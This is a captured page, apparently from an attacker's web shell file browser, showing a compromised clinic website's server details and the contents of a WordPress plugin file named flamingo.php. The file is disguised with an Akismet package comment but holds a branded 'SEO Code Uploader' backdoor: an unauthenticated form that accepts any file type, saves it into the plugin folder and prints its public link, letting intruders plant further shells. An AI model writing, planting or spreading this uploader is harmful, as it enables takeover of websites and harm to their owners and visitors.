HEX
Server: Apache
System: Linux srv-plesk28.ps.kz 5.14.0-284.18.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jun 29 17:06:27 EDT 2023 x86_64
User: greencl1 (10085)
PHP: 8.1.33
Disabled: apache_setenv,dl,eval,exec,openlog,passthru,pcntl_exec,pcntl_fork,popen,posix_getpwuid,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,socket_create,socket_create_listen,socket_create_pair,syslog,system,socket_listen,stream_socket_server
Upload Files
File: /var/www/vhosts/greenclinic.kz/newsite/wp-content/plugins/flamingo/flamingo.php
<?php
/**
 * @package Akismet
 */
/*

*/
?>
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
        crossorigin="anonymous" referrerpolicy="no-referrer" />
</head>

<body>
<title>Sid Gifari SEO Code Uplaoder</title>
<center><h1>Sid Gifari SEO Code Uplaoder</h1></center>
<center><h4>Telegram:sidgifari</h4></center>
<div align="center"> <img src = 

"https://i.imgur.com/FC1enOU.jpeg"width="200" height="150"></img>
<div style="margin:1em auto; width:333px; text-align:center;">
 <form action="<?php echo $_SERVER['PHP_SELF']; ?>" 

method="POST" enctype="multipart/form-data">
  Upload File: <input type="file" name="fileup" /><br/>
  <input type="submit" name='submit' value="Upload" />
 </form>
</div>
<?php

$uploadpath = './';      // directory to store the uploaded files
$max_size = 2000;       // maximum file size, in KiloBytes
$alwidth = 900;         // maximum allowed width, in pixels
$alheight = 800;        // maximum allowed height, in pixels

if (isset($_FILES['fileup']) && strlen($_FILES['fileup']['name']) > 1) {
    $uploadpath = $uploadpath . basename($_FILES['fileup']['name']); // get the file name
    $sepext = explode('.', strtolower($_FILES['fileup']['name']));
    $type = end($sepext); // extension
    
    // Check if file is an image to get dimensions
    $width = $height = null;
    $image_info = @getimagesize($_FILES['fileup']['tmp_name']);
    if ($image_info !== false) {
        list($width, $height) = $image_info;
    }
    
    $err = ''; // collect errors

    // --- checks for size, and dimensions (only for images) ---
    if (isset($_FILES['fileup']['size']) && $_FILES['fileup']['size'] > $max_size * 1024) {
        $err .= '<br/>Maximum file size must be: ' . $max_size . ' KB.';
    }
    
    // Only check dimensions if file is an image
    if ($width !== null && $height !== null && ($width > $alwidth || $height > $alheight)) {
        $err .= '<br/>The maximum Width x Height must be: ' . $alwidth . ' x ' . $alheight;
    }

    // if no errors, move the uploaded file into place and print success messages
    if ($err == '') {
        if (move_uploaded_file($_FILES['fileup']['tmp_name'], $uploadpath)) {
            // Set file permissions to 0644 (read/write for owner, read for others)
            if (chmod($uploadpath, 0444)) {
                echo 'File: <b>' . basename($_FILES['fileup']['name']) . '</b> uploaded successfully!';
                echo '<br/>File type: <b>' . $_FILES['fileup']['type'] . '</b>';
                echo '<br/>Size: <b>' . number_format($_FILES['fileup']['size'] / 1024, 3) . '</b> KB';
                echo '<br/>File permissions set to: <b>0644</b>';
                if ($width !== null && $height !== null) {
                    echo '<br/>Image Width x Height: ' . $width . ' x ' . $height;
                }
                echo '<br/><br/>File Link: <b>http://' . $_SERVER['HTTP_HOST'] . rtrim(dirname($_SERVER['REQUEST_URI']), '\\/') . '/' . $uploadpath . '</b>';
            } else {
                echo '<b>File uploaded but unable to set permissions to 0644.</b>';
            }
        } else {
            echo '<b>Unable to upload the file.</b>';
        }
    } else {
        echo $err;
    }
}
?>
</body>
</html>